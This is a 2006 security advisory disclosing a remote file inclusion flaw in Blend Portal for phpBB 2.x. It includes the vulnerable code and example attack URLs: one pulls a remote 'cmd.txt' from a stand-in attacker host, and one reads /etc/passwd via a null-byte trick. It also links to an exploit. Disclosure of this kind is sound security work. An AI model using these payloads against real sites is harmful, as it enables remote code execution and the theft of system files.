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Advisory: Blend Portal <= 1.2.0 for phpBB 2.x (blend_data/blend_common.php) File Inclusion Vulnerability
From: Mustafa Can Bjorn IPEKCI <nukedx () nukedx com>
Date: Sun, 28 May 2006 20:46:39 +0300
--Security Report--Advisory: Blend Portal <= 1.2.0 for phpBB 2.x (blend_data/blend_common.php) File Inclusion Vulnerability.
--- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 28/05/06 07:52 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx () nukedx com Web: http://www.nukedx.com } --- Vendor: phpbb-portal (http://www.phpbb-portal.com/) Version: 1.2.0 and prior versions must be affected.About: Via this methods remote attacker can include arbitrary internal/external files to phpBB. phpbb_root_path variable in /blend_data/blend_common.php did not sanitized properly before using it.You can find vulnerable code in
blend_common.php at lines 74-77 -Source in blend_common.php- 74: else 75: {76: include_once($phpbb_root_path . BLEND_DATA_PATH . BLEND_CACHE_PATH .'config.'. $phpEx);
77: } -End of source- Level: Highly Critical --- How&Example: Succesful exploitation needs register_globals on & allow url_fopen onGET -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=[FILE] EXAMPLE -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=http://yoursite.com/cmd.txt? EXAMPLE -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=/etc/passwd%00
--- Timeline: * 28/05/2006: Vulnerability found. * 28/05/2006: Contacted with vendor and waiting reply. --- Exploit: http://www.nukedx.com/?getxpl=41 --- Original advisory can be found at: http://www.nukedx.com/?viewdoc=41
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- Advisory: Blend Portal <= 1.2.0 for phpBB 2.x (blend_data/blend_common.php) File Inclusion Vulnerability Mustafa Can Bjorn IPEKCI (May 29)